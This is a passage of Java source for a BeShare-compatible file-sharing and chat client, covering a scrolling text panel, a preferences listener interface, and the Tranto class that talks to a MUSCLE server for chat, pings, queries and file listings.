This is Look and Feel dependant,\r\n\t\t\t// so we find it the first time we paint.\r\n\t\t\tlineHeight = (getFontMetrics(getFont())).getHeight();\r\n\t\t\t\r\n\t\t\t// Find the lenght of the longest line of text...\r\n\t\t\tint longestLine = 0;\r\n\t\t\tfor (int lineCnt = 1; lineCnt < text.length; lineCnt++){\r\n\t\t\t\tint currentLine = getFontMetrics(getFont()).stringWidth(text[lineCnt]);\r\n\t\t\t\tif (currentLine > longestLine){\r\n\t\t\t\t\tlongestLine = currentLine;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\tsetPreferredSize(new Dimension(longestLine + 20, lineHeight * 6));\r\n\t\t\t\r\n\t\t\t// Make the timer.\r\n\t\t\tscrollTimer = new Timer(speed,\r\n\t\t\t\t\tnew ActionListener() {\r\n\t\t\t\t\t\tpublic void actionPerformed(ActionEvent evt) {\r\n\t\t\t\t\t\t\tyPos--;\r\n\t\t\t\t\t\t\trepaint();\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t});\r\n\t\t\t\r\n\t\t\t// Add the start/stop scroll by clicking.\r\n\t\t\tthis.addMouseListener(new MouseAdapter(){\r\n\t\t\t\tpublic void mousePressed(MouseEvent e){\r\n\t\t\t\t\tscrolling = !scrolling;\r\n\t\t\t\t\tif (scrolling){\r\n\t\t\t\t\t\tscrollTimer.start();\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\tscrollTimer.stop();\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t});\r\n\t\t}\r\n\t\t\r\n\t\t/**\r\n\t\t * Our lovely paint method to draw the text to the area.\r\n\t\t * @overrides JPanel.paint(Graphics)\r\n\t\t */\r\n\t\tpublic void paint(Graphics g){\r\n\t\t\tsuper.paint(g);\r\n\t\t\t\r\n\t\t\t// Iterate through the String array, top to bottom, drawing each line. If a line would be clipped\r\n\t\t\t// by the graphics bounding rect, we don't display it.\r\n\t\t\tfor (int lineCnt = 1; lineCnt < text.length; lineCnt++){\r\n\t\t\t\tint lineY = (lineHeight * (lineCnt)) + yPos;\r\n\t\t\t\tif ((lineY < g.getClipBounds().height) || scrolling)\r\n\t\t\t\t\tg.drawString(text[lineCnt], 10, lineY);\r\n\t\t\t\t\r\n\t\t\t\t// If the last line is printed 20 above the clipping region, we set\r\n\t\t\t\t// it to start printing at the bottom of the view.\r\n\t\t\t\tif ((lineY == -20) && (lineCnt == text.length - 1)){\r\n\t\t\t\t\tyPos = this.getBounds().height;\r\n\t\t\t\t\tloops++;\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t// Check if we should continue to scroll.\r\n\t\t\t\tif ((yPos == 0) && (loops == maxLoops)){\r\n\t\t\t\t\tscrollTimer.stop();\r\n\t\t\t\t\tscrolling = false;\r\n\t\t\t\t\tloops = 0;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\t/**\r\n\t\t * Stops the scroll timer, and scrolling.\r\n\t\t */\r\n\t\tpublic void stopScroll(){\r\n\t\t\tscrollTimer.stop();\r\n\t\t\tscrolling = false;\r\n\t\t}\r\n\t}\r\n}\r", "public interface JavaSharePrefListener {\r\n\t// General Preferences\r\n\tpublic void autoAwayTimerChange(int time, int selectedIndex); // -1 represents disabled.\r\n\t\r\n\tpublic void autoUpdateServerChange(boolean autoUpdate);\r\n\t\r\n\tpublic void firewallSettingChange(boolean firewalled);\r\n\t\r\n\tpublic void loginOnStartupChange(boolean login);\r\n\t\r\n\tpublic void useMiniBrowserChange(boolean use);\r\n\t\r\n\tpublic void userSortChange(boolean sort);\r\n\t\r\n\t// Connection Preferences.\r\n\tpublic void bandwidthChange(String label, int speed, int index);\r\n\t\r\n\tpublic void socksChange(String server, int port);\r\n\t\r\n\t// Display Preferences.\r\n\tpublic void timeStampDisplayChange(boolean show);\r\n\t\r\n\tpublic void userEventDisplayChange(boolean show);\r\n\t\r\n\tpublic void uploadDisplayChange(boolean show);\r\n\t\r\n\tpublic void chatDisplayChange(boolean show);\r\n\t\r\n\tpublic void privateDisplayChange(boolean show);\r\n\t\r\n\tpublic void infoDisplayChange(boolean show);\r\n\t\r\n\tpublic void warningDisplayChange(boolean show);\r\n\t\r\n\tpublic void errorDisplayChange(boolean show);\r\n\t\r\n\t// Appearance Preferences\r\n\tpublic void updateChatFont(Font f);\r\n\t\r\n\tpublic void lafChange(String plafClassName);\r\n\t\r\n\t// Sound prefs\r\n\tpublic void soundPackChange(String soundPackName);\r\n\t\r\n\tpublic void soundOnUserNameChange(boolean signal);\r\n\t\r\n\tpublic void soundOnPrivateWindowChange(boolean signal);\r\n\t\r\n\tpublic void soundOnPrivateMessageChange(boolean signal);\r\n\t\r\n\tpublic void soundOnWatchPatternChange(boolean signal);\r\n}\r", "public class Tranto implements MessageListener, StorageReflectConstants, TypeConstants\r\n{\r\n\tpublic final String MUSCLE_INTERFACE_VERSION = AppPanel.applicationName + \" \" + AppPanel.buildVersion;\r\n\t\r\n\tprivate String \t\t\t\tserverName;\r\n\tprivate int \t\t\t\tserverPort;\r\n\tprivate MessageTransceiver \tbeShareTransceiver =\r\n\t\t\tnew MessageTransceiver(new MessageQueue(this));\r\n\t\t\t\r\n\tprivate String \t\tlocalSessionID = \"\";\r\n\t\r\n\tprivate Object \t\tserverConnect;\r\n\tprivate Object \t\tserverDisconnect;\r\n\t\r\n\tprivate Vector \t\tbeShareEventListenerVect;\r\n\t\r\n\tprivate boolean \trequestedServerInfo;\r\n\t\r\n\tprivate boolean\t\tconnected;\r\n\tprivate boolean\t\tfirewalled;\r\n\tprivate int\t\t\tpingCount;\r\n\tprivate boolean\t\tqueryActive;\r\n\t\r\n\t// Connection Management\r\n\tConnectionCheck\t\tconnectionTest;\r\n\tprivate boolean\t\trecentActivity = false;\r\n\tprivate int\t\t\tconnectionTimeout = 300; // in seconds = 5 Minutes\r\n\tAutoReconnector\t\tautoRecon = null;\r\n\t\r\n\tprivate static final int ROOT_DEPTH\t\t\t\t\t\t= 0;\t// root node\r\n\tprivate static final int HOST_NAME_DEPTH\t\t\t\t= 1;\r\n\tprivate static final int SESSION_ID_DEPTH\t\t\t\t= 2;\r\n\tprivate static final int BESHARE_HOME_DEPTH\t\t\t\t= 3;\t// used to separate our stuff from other (non-BeShare) data on the same server\r\n\tprivate static final int USER_NAME_DEPTH\t\t\t\t= 4;\t// user's handle node would be found here\r\n\tprivate static final int FILE_INFO_DEPTH\t\t\t\t= 5;\t//This is where file names are\r\n\t\r\n\tprivate static final int NET_CLIENT_NEW_CHAT_TEXT\t\t= 2;\r\n\tprivate static final int NET_CLIENT_CONNECT_BACK_REQUEST = 3;\r\n\tprivate static final int NET_CLIENT_PING\t\t\t\t= 5;\r\n\tprivate static final int NET_CLIENT_PONG\t\t\t\t= 6;\r\n\t\r\n\t/**\r\n\t * \tDefault contstructor - Creates a new BeShare muscle interface\r\n\t * \twith no server or port , and does not connect.\r\n\t * \t@param bse the JavaShareEventListener\r\n\t */\r\n\tpublic Tranto(JavaShareEventListener bse){\r\n\t\tserverName = \"\";\r\n\t\tserverPort = 2960;\r\n\t\tbeShareEventListenerVect = new Vector();\r\n\t\trequestedServerInfo = false;\r\n\t\tconnected = false;\r\n\t\tfirewalled = false;\r\n\t\tqueryActive = false;\r\n\t\tpingCount = 0;\r\n\t\tthis.addJavaShareEventListener(bse);\r\n\t\tautoRecon = null;\r\n\t\tconnectionTest = new ConnectionCheck();\r\n\t\tconnectionTest.start();\r\n\t}\r\n\t\r\n\t/**\r\n\t* Creates a new BeShare muscle interface. Creates interface and connects to\r\n\t* server.\r\n\t* @param bse The JavaShareEventListener\r\n\t* @param serverName The name of the server to connect to\r\n\t* @param serverPort the port of the server to connect to\r\n\t*/\r\n\tpublic Tranto(JavaShareEventListener bse,\r\n\t\t\t\t\t\t\t\tString serverName,\r\n\t\t\t\t\t\t\t\tint serverPort)\r\n\t{\r\n\t\tthis(bse);\r\n\t\tserverName = serverName;\r\n\t\tserverPort = serverPort;\r\n\t\tconnect();\r\n\t}\r\n\t\r\n\t/**\r\n\t *\tGet the name of the server we're connecting to.\r\n\t *\t@return the Name of the server to connect to.\r\n\t */\r\n\tpublic String getServerName() {\r\n\t\treturn serverName;\r\n\t}\r\n\t\r\n\t/**\r\n\t *\tGets the id of the local user.\r\n\t *\t@return String the local SessionID of this user.\r\n\t */\r\n\tpublic String getLocalSessionID() {\r\n\t\treturn localSessionID;\r\n\t}\r\n\r\n\t/**\r\n\t *\tSets the name of the server to connect to.\r\n\t *\t@param sName - the Name of the server to connect to.\r\n\t */\r\n\tpublic void setServerName(String sName) {\r\n\t\tserverName = sName;\r\n\t}\r\n\t\r\n\t/**\r\n\t *\tReturns the port number to connect with.\r\n\t *\t@return the port to connect with.\r\n\t */\r\n\tpublic int getServerPort() {\r\n\t\treturn serverPort;\r\n\t}\r\n\t\r\n\t/**\r\n\t *\tSets the port number to connect with.\r\n\t *\t@param sPort - the port to connect with\r\n\t */\r\n\tpublic void setServerPort(int sPort) {\r\n\t\tserverPort = serverPort;\r\n\t}\r\n\t\r\n\t/**\r\n\t *\tAdd a new JavaShareEventListener to receive JavaShareEvents from this\r\n\t *\tMuscle Interface.\r\n\t */\r\n\tpublic void addJavaShareEventListener(JavaShareEventListener bsel) {\r\n\t\tbeShareEventListenerVect.addElement(bsel);\r\n\t}\r\n\r\n\t/**\r\n\t *\tRemoves an existing JavaShareEventListener.\r\n\t *\tThis stops the Listener from receiving messages from this Interface.\r\n\t */\r\n\tpublic void removeJavaShareEventListener(JavaShareEventListener bsel) {\r\n\t\tbeShareEventListenerVect.removeElement(bsel);\r\n\t}\r\n\t\r\n\t/**\r\n\t *\tFires JavaShareEvents to all registered listeners.\r\n\t */\r\n\tprotected void fireJavaShareEvent(JavaShareEvent bse) {\r\n\t\tfor(int x = 0; x < beShareEventListenerVect.size(); x++) {\r\n\t\t\t((JavaShareEventListener)beShareEventListenerVect.elementAt(x))\r\n\t\t\t\t\t.javaShareEventPerformed(bse);\r\n\t\t}\r\n\t}\r\n\t\r\n\t/**\r\n\t *\tStarts a new query. This will also stop any pending queries, and send a\r\n\t *\tclear query list message.\r\n\t */\r\n\tpublic void startQuery(String sessionExpression, String fileExpression){\r\n\t\tstopQuery(); // If you can't figure out why we would do this... <sigh>\r\n\t\tqueryActive = true;\r\n\t\t// This path string tells muscled which files it should inform us about.\r\n\t\t// Since we may be basing part of our query on the session ID, we use\r\n\t\t// the full path string for this query.\r\n\t\tString temp = \"SUBSCRIBE:/*/\";\r\n\t\ttemp += sessionExpression;\r\n\t\ttemp += \"/beshare/\";\r\n\t\ttemp += getFirewalled() ? \"files/\" : \"fi*/\"; // If we're firewalled, we can only get non-firewalled files; else both types\r\n\t\ttemp += fileExpression;\r\n\t\t\r\n\t\t// Send the subscription!\r\n\t\tMessage queryMsg = new Message(PR_COMMAND_SETPARAMETERS);\r\n\t\tqueryMsg.setBoolean(temp, true);\r\n\t\tbeShareTransceiver.sendOutgoingMessage(queryMsg);\r\n\t\t\r\n\t\t// Send a ping to the server. When we get it back, we know the\r\n\t\t// initial scan of the query is done!\r\n\t\tMessage ping = new Message(PR_COMMAND_PING);\r\n\t\tping.setInt(\"count\", pingCount);\r\n\t\tbeShareTransceiver.sendOutgoingMessage(ping);\r\n\t\t\r\n\t\t//_queryActive = true;\r\n\t\t//_sessionIDRegExp.SetPattern(sessionIDRegExp);\r\n\t\t//_fileNameRegExp.SetPattern(fileNameRegExp);\r\n\t}\r\n\t\r\n\t/**\r\n\t *\tStops the current Query\r\n\t */\r\n\tpublic void stopQuery(){\r\n\t\tqueryActive = false;\r\n\t\t// Remove the subscription\r\n\t\tMessage removeMsg = new Message(PR_COMMAND_REMOVEPARAMETERS);\r\n\t\tremoveMsg.setString(PR_NAME_KEYS, \"SUBSCRIBE:*beshare/fi*\");\r\n\t\tbeShareTransceiver.sendOutgoingMessage(removeMsg);\r\n\r\n\t\t// Have the server jettison (cancel) all the remaining results it hasn't sent to us.\r\n\t\tMessage cancel = new Message(PR_COMMAND_JETTISONRESULTS);\r\n\t\tcancel.setString(PR_NAME_KEYS, \"beshare/fi*/*\");\r\n\t\tbeShareTransceiver.sendOutgoingMessage(cancel);\r\n\t}\r\n\r\n\r\n\t/**\r\n\t *\tSends a message to the host at targetSessionID requesting they connect\r\n\t *\tto us on <code>port</code> so we can transfer a file from them.\r\n\t */\r\n\tpublic void sendConnectBackRequestMessage(String targetSessionID, int port){\r\n\t\tSystem.out.println(\"Tranto: Sending Connectback request\");\r\n\t\t\r\n\t\tMessage cbackMsg = new Message(NET_CLIENT_CONNECT_BACK_REQUEST);\r\n\t\tString target = \"/*/\" + targetSessionID + \"/beshare\";\r\n\t\tcbackMsg.setString(PR_NAME_KEYS, target);\r\n\t\tcbackMsg.setString(\"session\", getLocalSessionID());\r\n\t\tcbackMsg.setInt(\"port\", port);\r\n\t\tbeShareTransceiver.sendOutgoingMessage(cbackMsg);\r\n\t\tSystem.out.println(\"Tranto: Connectback request Sent.\");\r\n\t}\r\n\t\r\n\t/**\r\n\t * Sets weather or not we should behave as if we are firewalled.\r\n\t * If we aren't, peachy! If we are, who gives a crap?!\r\n\t */\r\n\tpublic void setFirewalled(boolean firewall){\r\n\t\tfirewalled = firewall;\r\n\t}\r\n\t\r\n\t/**\r\n\t * Returns the current stats of the firewall setting.\r\n\t */\r\n\tpublic boolean getFirewalled(){\r\n\t\treturn firewalled;\r\n\t}\r\n\t\r\n\t/**\r\n\t *Connects to MUSCLE server.\r\n\t */\r\n\tpublic synchronized void connect(){\r\n\t\tdisconnect();\r\n\t\tserverConnect = new Object();\r\n\t\tserverDisconnect = new Object();\r\n\t\tfireJavaShareEvent(new JavaShareEvent(this,\r\n\t\t\t\tJavaShareEvent.CONNECTION_ATTEMPT));\r\n\t\tbeShareTransceiver.connect(serverName, serverPort,\r\n\t\t\t\tserverConnect, serverDisconnect);\r\n\t}\r\n\t\r\n\t/**\r\n\t *\tDisconnects from MUSCLE server\r\n\t */\r\n\tpublic synchronized void disconnect(){\r\n\t\tfireJavaShareEvent(new JavaShareEvent(this,\r\n\t\t\t\tJavaShareEvent.CONNECTION_DISCONNECT));\r\n\t\tserverConnect = null;\r\n\t\tserverDisconnect = null;\r\n\t\tconnected = false;\r\n\t\tbeShareTransceiver.disconnect();\r\n\t}\r\n\t\r\n\t/**\r\n\t *\tReturns connection status\r\n\t *\t@return true if connected, false if not connected.\r\n\t */\r\n\tpublic boolean isConnected(){\r\n\t\treturn connected;\r\n\t}\r\n\t\r\n\t/**\r\n\t *\tSends a message subscribing to the BeShare nodes.\r\n\t */\r\n\tpublic void beShareSubscribe(){\r\n\t\tbeShareTransceiver.sendOutgoingMessage(\r\n\t\t\t\tnew Message(PR_COMMAND_GETPARAMETERS));\r\n\t\t// set up a subscription to the beShare tree.\r\n\t\tMessage queryMsg = new Message(PR_COMMAND_SETPARAMETERS);\r\n\t\tqueryMsg.setBoolean(\"SUBSCRIBE:beshare/*\", true);\r\n\t\tbeShareTransceiver.sendOutgoingMessage(queryMsg);\r\n\t}\r\n\t\r\n\t/**\r\n\t *\tSends <code>text</code> to user with session of <code>session</code>\r\n\t *\t@param text The String to send\r\n\t *\t@param session The Persons session to send it to.\r\n\t */\r\n\tpublic void sendTextMessage(String text, String session){\r\n\t\tMessage chatMessage = new Message(NET_CLIENT_NEW_CHAT_TEXT);\r\n\t\t\r\n\t\tchatMessage.setString(PR_NAME_KEYS, \"/*/\"\r\n\t\t\t\t\t\t\t\t\t+ \"(\" + session + \")/beshare\");\r\n\t\tchatMessage.setString(\"session\", localSessionID);\r\n\t\tchatMessage.setString(\"text\", text);\r\n\t\tif (! session.equals(\"*\"))\r\n\t\t\tchatMessage.setBoolean(\"private\", true);\r\n\t\tbeShareTransceiver.sendOutgoingMessage(chatMessage);\r\n\t}\r\n\t\r\n\t/**\r\n\t *\tSends a Ping to the user with the specified session id.\r\n\t *\t@param session The SessionID of the user to ping.\r\n\t */\r\n\tpublic void pingUser(String session){\r\n\t\tMessage pingMessage = new Message(NET_CLIENT_PING);\r\n\t\tpingMessage.setString(PR_NAME_KEYS, \"/*/\"\r\n\t\t\t\t+ session + \"/beshare\");\r\n\t\tpingMessage.setLong(\"when\", System.currentTimeMillis());\r\n\t\tpingMessage.setString(\"session\", localSessionID);\r\n\t\tbeShareTransceiver.sendOutgoingMessage(pingMessage);\r\n\t}\r\n\t\r\n\t/**\r\n\t *\tSends a <code>PR_COMMAND_GETPARAMETERS</code> to the server, and sets\r\n\t *\tthe <code>requestedServerInfo</code> field. This is used when a the user\r\n\t *\trequests system Information.\r\n\t */\r\n\tpublic void getServerInfo(){\r\n\t\tMessage infoMessage = new Message(PR_COMMAND_GETPARAMETERS);\r\n\t\tbeShareTransceiver.sendOutgoingMessage(infoMessage);\r\n\t\trequestedServerInfo = true;\r\n\t}\r\n\t\r\n\t/**\r\n\t *\tUploads UserName information to the MUSCLE server\r\n\t *\t@param uName The Users handle\r\n\t *\t@param port the port they use for filesharing.\r\n\t */\r\n\tpublic void setLocalUserName(String uName, int port){\r\n\t\tMessage nameMessage = new Message();\r\n\t\tnameMessage.setString(\"name\", uName);\r\n\t\tnameMessage.setInt(\"port\", port);\r\n\t\tnameMessage.setString(\"version_name\", AppPanel.applicationName);\r\n\t\tnameMessage.setString(\"version_num\", \"v\" + AppPanel.buildVersion);\r\n\t\tsetDataNodeValue(\"beshare/name\", nameMessage);\r\n\t}\r\n\t\r\n\t/**\r\n\t *\tUploads UserName information to the MUSCLE server\r\n\t *\t@param uName The Users handle\r\n\t *\t@param port the port they use for filesharing.\r\n\t * @param installid the unique identifier for this install.\r\n\t */\r\n\tpublic void setLocalUserName(String uName, int port, long installid){\r\n\t\tMessage nameMessage = new Message();\r\n\t\tnameMessage.setString(\"name\", uName);\r\n\t\tnameMessage.setInt(\"port\", port);\r\n\t\tnameMessage.setString(\"version_name\", AppPanel.applicationName);\r\n\t\tnameMessage.setString(\"version_num\", \"v\" + AppPanel.buildVersion);\r\n\t\tnameMessage.setLong(\"installid\", installid);\r\n\t\tsetDataNodeValue(\"beshare/name\", nameMessage);\r\n\t}\r\n\t\r\n\t/**\r\n\t *\tUploads Bandwidth information to the MUSCLE server\r\n\t *\t@param lbl String label 'T1', 'Cable', ...\r\n\t *\t@param bps The speed of the connection.\r\n\t */\r\n\tpublic void setUploadBandwidth(String lbl, int bps){\r\n\t\tMessage bwMessage = new Message();\r\n\t\tbwMessage.setString(\"label\", lbl);\r\n\t\tbwMessage.setInt(\"bps\", bps);\r\n\t\tsetDataNodeValue(\"beshare/bandwidth\", bwMessage);\r\n\t}\r\n\r\n\t/**\r\n\t *\tUploads the local user status to the MUSCLE server\r\n\t *\t@param uStatus The Users current status\r\n\t */\r\n\tpublic void setLocalUserStatus(String uStatus){\r\n\t\tMessage statusMessage = new Message();\r\n\t\tstatusMessage.setString(\"userstatus\", uStatus);\r\n\t\tsetDataNodeValue(\"beshare/userstatus\", statusMessage);\r\n\t}\r\n\r\n\t/**\r\n\t * Uploads the file-listing to the MUSCLE server. This is a\r\n\t * tricky area, since BeShare's source is a bit less than\r\n\t * easy for me to read.\r\n\t */\r\n\tpublic void uploadFileListing(Vector fileListing){\r\n\t\tMessage sizeMessage = new Message();\r\n\t\tsizeMessage.setInt(\"filecount\", fileListing.size());\r\n\t\tsetDataNodeValue(\"beshare/filecount\", sizeMessage);\r\n\t\tSystem.out.println(\"Send File count message. Files Listed: \" + fileListing.size());\r\n\t\t\r\n\t\t// From here we upload the actual list of files.\r\n\t\tMessage uploadMessage = new Message(PR_COMMAND_SETDATA);\r\n\t\tfor (int x = 0; x < fileListing.size(); x++){\r\n\t\t\t// Get the file-specific data into a sub-message.\r\n\t\t\tMessage infoMessage = new Message();\r\n\t\t\t\r\n\t\t\tinfoMessage.setLong(\"beshare:File Size\", ((SharedFileInfoHolder)fileListing.elementAt(x)).getSize());\r\n\t\t\t//infoMessage.SetInt(\"beshare:Modification Time\", 0); // Java Dosen't support modification or creation dates on File objects\r\n\t\t\tinfoMessage.setString(\"beshare:Path\", ((SharedFileInfoHolder)fileListing.elementAt(x)).getPath());\r\n\t\t\tinfoMessage.setString(\"beshare:Kind\", ((SharedFileInfoHolder)fileListing.elementAt(x)).getKind());\r\n\t\t\t\r\n\t\t\tString filePath = \"\";\r\n\t\t\tif (getFirewalled()) {\r\n\t\t\t\tfilePath += \"beshare/fires/\";\r\n\t\t\t} else {\r\n\t\t\t\tfilePath += \"beshare/files/\";\r\n\t\t\t}\r\n\t\t\tfilePath += ((SharedFileInfoHolder)fileListing.elementAt(x)).getName();\r\n\t\t\tuploadMessage.setMessage(filePath, infoMessage);\r\n\r\n\t\t\tif (x % 50 == 0) {\r\n\t\t\t\t// Once we hit 50 files in a message, we want to send it, create a new one, and continue.\r\n\t\t\t\tbeShareTransceiver.sendOutgoingMessage(uploadMessage);\r\n\t\t\t\tuploadMessage = new Message(PR_COMMAND_SETDATA);\r\n\t\t\t}\r\n\t\t}\r\n\t\tbeShareTransceiver.sendOutgoingMessage(uploadMessage);\r\n\t\tSystem.out.println(\"All Files uploaded!\");\r\n\t}\r\n\t\r\n\t/**\r\n\t * Removes the File list nodes from the server.\r\n\t */\r\n\tpublic void removeFileListing(){\r\n\t\tMessage removeNodes = new Message(PR_COMMAND_REMOVEDATA);\r\n\t\tremoveNodes.setString(PR_NAME_KEYS, \"beshare/fi*es\");\r\n\t\tbeShareTransceiver.sendOutgoingMessage(removeNodes);\r\n\t}\r\n\r\n\t/**\r\n\t *\tUploads a command message to the remote DB\r\n\t *\t@param nodePath the node path in the database to update/set\r\n\t *\t@param nodeValue the message containing all values to store\r\n\t */\r\n\tprivate void setDataNodeValue(String nodePath, Message nodeValue){\r\n\t\tMessage uploadMessage = new Message(PR_COMMAND_SETDATA);\r\n\t\tuploadMessage.setMessage(nodePath, nodeValue);\r\n\t\tbeShareTransceiver.sendOutgoingMessage(uploadMessage);\r\n\t}\r\n\r\n\t/**\r\n\t *\tThis is our Message listener to the MUSCLE Server side of things.\r\n\t *\tFrom here we determine what to do with the incomming messages,\r\n\t *\tand post them to the object specified by\r\n\t *\t<code>setTarget()</code> if necessary.\r\n\t *\t@param message The Object being passed as a message\r\n\t *\t@param numleft The number of messages left in the queue\r\n\t */\r\n\tpublic synchronized void messageReceived(Object message, int numleft){\r\n\t\tif (message == serverConnect){\r\n\t\t\tconnected = true;\r\n\t\t\t// If this happens while an AutoReconect is active, kill the autoRecon.\r\n\t\t\tif (autoRecon != null) {\r\n\t\t\t\tautoRecon.interrupt();\r\n\t\t\t\tautoRecon = null;\r\n\t\t\t}\r\n\t\t\tfireJavaShareEvent(new JavaShareEvent(this,\r\n\t\t\t\t\tJavaShareEvent.SERVER_CONNECTED));\r\n\t\t} else if (message == serverDisconnect){\r\n\t\t\tif (autoRecon == null) {\r\n\t\t\t\tautoRecon = new AutoReconnector();\r\n\t\t\t\tdisconnect(); // resets variables, sends message, etc.\r\n\t\t\t\tautoRecon.start();\r\n\t\t\t}\r\n\t\t} else if (message instanceof Message){\r\n\t\t\ttry{\r\n\t\t\t\trecentActivity = true;\r\n\t\t\t\t//muscleMessageReceived((Message)message);\r\n\t\t\t\tmuscleMessageHandler((Message)message);\r\n\t\t\t} catch (Exception ex) {\r\n\t\t\t\tSystem.out.println(ex.toString());\r\n\t\t\t\tex.printStackTrace(System.out);\r\n\t\t\t\tSystem.out.println(\"Message Error Occured with:\\n\" + message.toString());\r\n\t\t\t\t// Try to pass the message on and see what happens.\r\n\t\t\t\tfireJavaShareEvent(new JavaShareEvent(message,\r\n\t\t\t\t\t\tJavaShareEvent.UNKNOWN_MUSCLE_MESSAGE));\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\t\r\n\t/**\r\n\t *\tHandles all MUSCLE Messages. Translates incomming messages into\r\n\t *\tJavaShareEvents and fires them off to the <code>ActionListener</code> as\r\n\t *\tset by <code>setActionListener</code>\r\n\t */\r\n\tpublic void muscleMessageHandler(Message message) throws Exception {\r\n\t\tswitch (message.what) {\r\n\t\t\t// Someone pinged us, let's pong them back!\r\n\t\t\tcase NET_CLIENT_PING: {\r\n\t\t\t\tmessage.what = NET_CLIENT_PONG;\r\n\t\t\t\tmessage.setString(PR_NAME_KEYS, \"/*/\" + message.getString(\"session\") + \"/beshare\");\r\n\t\t\t\tmessage.setString(\"session\", localSessionID);\r\n\t\t\t\tmessage.setString(\"version\", MUSCLE_INTERFACE_VERSION);\r\n\t\t\t\tbeShareTransceiver.sendOutgoingMessage(message);\r\n\t\t\t}\r\n\t\t\tbreak;\r\n\t\t\t\r\n\t\t\t// New chat text!\r\n\t\t\tcase NET_CLIENT_NEW_CHAT_TEXT: {\r\n\t\t\t\tfireJavaShareEvent(\r\n\t\t\t\t\tnew JavaShareEvent(\r\n\t\t\t\t\t\tnew ChatMessage(message.getString(\"session\"),\r\n\t\t\t\t\t\t\tmessage.getString(\"text\"), message.hasField(\"private\"),\r\n\t\t\t\t\t\t\tChatMessage.LOG_REMOTE_USER_CHAT_MESSAGE),\r\n\t\t\t\t\t\tJavaShareEvent.CHAT_MESSAGE));\r\n\t\t\t}\r\n\t\t\tbreak;\r\n\t\t\t\r\n\t\t\t// We just got a ping we sent back\r\n\t\t\tcase NET_CLIENT_PONG: {\r\n\t\t\t\tlong when = message.getLong(\"when\");\r\n\t\t\t\twhen = System.currentTimeMillis() - when;\r\n\t\t\t\tString pingMessage = \"Ping returned in \" + when + \" milliseconds\";\r\n\t\t\t\tif (message.hasField(\"version\")){\r\n\t\t\t\t\tpingMessage += \" (\" + message.getString(\"version\") + \")\";\r\n\t\t\t\t}\r\n\t\t\t\tfireJavaShareEvent(\r\n\t\t\t\t\tnew JavaShareEvent(\r\n\t\t\t\t\t\tnew ChatMessage(message.getString(\"session\"), pingMessage,\r\n\t\t\t\t\t\t\ttrue, ChatMessage.LOG_REMOTE_USER_CHAT_MESSAGE),\r\n\t\t\t\t\t\tJavaShareEvent.CHAT_MESSAGE));\r\n\t\t\t}\r\n\t\t\tbreak;\r\n\t\t\t\r\n\t\t\t// The Server sent us some informational parameters\r\n\t\t\t// We have to ask for these -- During the connect we ask for our session root so that we can\r\n\t\t\t// find out what our session ID is.\r\n\t\t\tcase PR_RESULT_PARAMETERS: {\r\n\t\t\t\t// Did we ask for it?\r\n\t\t\t\tif (requestedServerInfo) {\r\n\t\t\t\t\tprocessServerInfo(message);\r\n\t\t\t\t} else {\r\n\t\t\t\t\tString sessionRoot = message.getString(PR_NAME_SESSION_ROOT);\r\n\t\t\t\t\tlocalSessionID = sessionRoot.substring(sessionRoot.lastIndexOf('/') + 1);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tbreak;\r\n\t\t\t\r\n\t\t\t// Dataitems have changed for a query we still have open.\r\n\t\t\t// There's basically two types of querys for BeShare, Users and Files.\r\n\t\t\tcase PR_RESULT_DATAITEMS: {\r\n\t\t\t\t// Look for any removed items...\r\n\t\t\t\tif (message.hasField(PR_NAME_REMOVED_DATAITEMS)) {\r\n\t\t\t\t\tString removedNodes[] = message.getStrings(PR_NAME_REMOVED_DATAITEMS);\r\n\t\t\t\t\tfor (int x = 0; x < removedNodes.length; x++) {\r\n\t\t\t\t\t\tif ((getPathDepth(removedNodes[x]) == USER_NAME_DEPTH) \r\n\t\t\t\t\t\t\t&& lastNodeElement(removedNodes[x]).equals(\"name\"))\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t// The User was removed\r\n\t\t\t\t\t\t\tfireJavaShareEvent(\r\n\t\t\t\t\t\t\t\tnew JavaShareEvent(this, JavaShareEvent.USER_DISCONNECTED,\r\n\t\t\t\t\t\t\t\t\tnew BeShareUser(sessionIDFromNode(removedNodes[x])), getServerName()));\r\n\t\t\t\t\t\t} else if (getPathDepth(removedNodes[x]) == FILE_INFO_DEPTH) {\r\n\t\t\t\t\t\t\t// Files were removed\r\n\t\t\t\t\t\t\tSharedFileInfoHolder holder = new SharedFileInfoHolder();\r\n\t\t\t\t\t\t\tif (removedNodes[x].indexOf(\"files/\") != -1)\r\n\t\t\t\t\t\t\t\tholder.setName(lastNodeElement(removedNodes[x], \"files/\"));\r\n\t\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t\tholder.setName(lastNodeElement(removedNodes[x], \"fires/\"));\r\n\t\t\t\t\t\t\tholder.setSessionID(sessionIDFromNode(removedNodes[x]));\r\n\t\t\t\t\t\t\tfireJavaShareEvent(\r\n\t\t\t\t\t\t\t\tnew JavaShareEvent(holder, JavaShareEvent.FILE_INFO_REMOVE_RESULTS));\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t} // next removed Node\r\n\t\t\t\t} // done with removal\r\n\t\t\t\t\r\n\t\t\t\tIterator e = message.fieldNames();\r\n\t\t\t\twhile (e.hasNext()) {\r\n\t\t\t\t\tString fieldName = (String)e.next();\r\n\t\t\t\t\t// Has a user changed?\r\n\t\t\t\t\tif (message.getFieldTypeCode(fieldName) == B_MESSAGE_TYPE) {\r\n\t\t\t\t\t\tif (getPathDepth(fieldName) == USER_NAME_DEPTH)\t{\r\n\t\t\t\t\t\t\tString updatedNode = lastNodeElement(fieldName);\r\n\t\t\t\t\t\t\tMessage userNameInfos[] = message.getMessages(fieldName);\r\n\t\t\t\t\t\t\tMessage userNameNode = userNameInfos[userNameInfos.length - 1];\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t// Construct the User object that's changed....\r\n\t\t\t\t\t\t\tBeShareUser user = new 